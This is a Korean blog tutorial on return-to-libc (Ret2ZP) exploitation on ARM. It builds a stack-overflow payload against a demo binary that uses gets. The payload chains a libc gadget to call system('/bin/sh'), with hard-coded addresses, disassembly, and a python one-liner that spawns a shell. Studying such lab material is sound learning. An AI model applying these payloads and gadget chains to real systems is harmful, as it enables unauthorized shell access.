본문 바로가기

Exploit

ARM RTL[Ret2ZP]

SMALL

익숙한 RTL 기법이 ARM 환경에서는 Retern to zero prevention 이라고 한다.

이름은 달라도, 원리는 비슷하다.

스택에 실행 환경이 없을 때, 원래 프로그램의 흐름을 변경해서 system 함수 등, 권한을 획득 한다.


기존의 RTL과 차이점이라면 함수의 호출 방식의 차이다.

Intel 환경에서는 함수를 호출 할 때, 32bit에서 스택을 통한 인자 구성, ret 보관 등 하였다.

하지만 ARM은 레지스터를 이용하여서 인자를 구성하고, ret를 관리한다. 

간단한 Ret2ZP를 해보고, Chain Ret2ZP[이런 명칭이 있는지는 모르겠다] 를 해보려한다.


환경은 ASLR OFF, NX bit ON 


system("/bin/sh\x00")을 실행 시키는 것을 목표로 한다.

먼저 "/bin/sh\x00" 문자열의 위치를 찾는다.

libc.so.6에서 확인 할 수있다.

그림과 같이 BASEADDRESS + \x00114d54 위치에 문자열이 존재한다.

여기서 baseaddr은 library의 base이기 때문에 cat /proc/self/maps통해서 확인했다. baseaddr = 0x40034000이다.


그 다음, system 함수의 주소를 확인해 준다.

system 주소는 \x4006ebd8이다.


그 다음, 이제 함수 인자를 맞추고 호출하기 위한 gadget을 찾아 보도록 한다.


system("/bin/sh\x00")이기 때문에 R0 레지스터를 셋팅 할 수있어야 하고, 그 다음 system 함수를 호출 할 수 있는 가젯이 필요하다.


해당 가젯은 보통 seed48 함수와 erand48 함수에서 찾아서 사용하는 경우가 많은데, 다른 가젯을 이용해서 하고싶다.




library를 뒤지다 보면 여러 가젯이 많지만, getw부분을 사용했다. 스택에서 인자를 가져와서 긴 페이로드에서는 어떨지 모르겠지만..

0x4f66c offset 부분을 보면 [stack+4]에서 R0를 셋팅한다. 그 다음 PC 레지스터를 조작 하는 것을 알수 있다.

그러면 처음 인자를 맞추기 위해서는 sp+4 위치에 "/bin/sh" 문자열의 주소를 넣어주고 그다음 [sp+12] 위치에 system 함수의 주소를 넣어준다.

이제 payload를 작성해 본다.

disas main

   0x0000849c <+0>: push {r11, lr}

   0x000084a0 <+4>: add r11, sp, #4

   0x000084a4 <+8>: sub sp, sp, #128 ; 0x80

   0x000084a8 <+12>: ldr r0, [pc, #80] ; 0x8500 <main+100>

   0x000084ac <+16>: bl 0x83a8 <puts>

   0x000084b0 <+20>: sub r3, r11, #132 ; 0x84

   0x000084b4 <+24>: mov r0, r3

   0x000084b8 <+28>: bl 0x839c <gets>

.

stack을 그려보면 [0x80](buf) [0x4](r11==ebp1) [0x4](lr == ret)와 같이 구성된다.

그림과 같이 구성이 된다. 그리고 r11과 lr을 원하는 값으로 덮는다. 그리고 epiloge와  그때의 stack을 확인 해본다.

  0x000084ec <+80>: bl 0x8390 <printf>

   0x000084f0 <+84>: mov r3, #0

   0x000084f4 <+88>: mov r0, r3

   0x000084f8 <+92>: sub sp, r11, #4

   0x000084fc <+96>: pop {r11, pc}


0x000084fc부분이 실행되고 나서의 stack이다 sp는 해당 부분을 가리키고 있다.

위으 그림과 같이 스택이 구성되어 있고, gadget 부분으로 이동했을 때 sp는 저부분을 가리키고 있다. 


.text:0004F66C                 LDREQ   R0, [SP,#0x10+var_C]

.text:0004F670                 ADD     SP, SP, #0xC

.text:0004F674                 LDMFD   SP!, {PC}


가젯은 [sp+0x4]에 인자를 넣고 [sp+0xc]에 조작할 pc값을 넣는다.


위의 그림은 최종적으로 넣을 페이로드 그림이다.


richong@raspberrypi:~$ (python -c 'print "a"*0x80+"ebp1"+"\x6c\x36\x08\x40"+"bbbb"+"\x54\x8d\x14\x40"+"bbbb"+"\xd8\xeb\x06\x40"';cat)|./simple_rtl 
Hello ARM Simple RTL
Input String : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaebp1l@bbbbT@bbbb٫@
ls
main.c rtf  rtf.c  simple_rtl

shell이 실행된다.









LIST

'Exploit' 카테고리의 다른 글

MIPS BOF  (0) 2017.03.30
ARM Chain RTL  (0) 2016.12.29
표준 입,출력 함수 정리  (0) 2016.12.14
ARM BOF  (0) 2016.12.14
리눅스 방어기법 해체  (0) 2016.04.21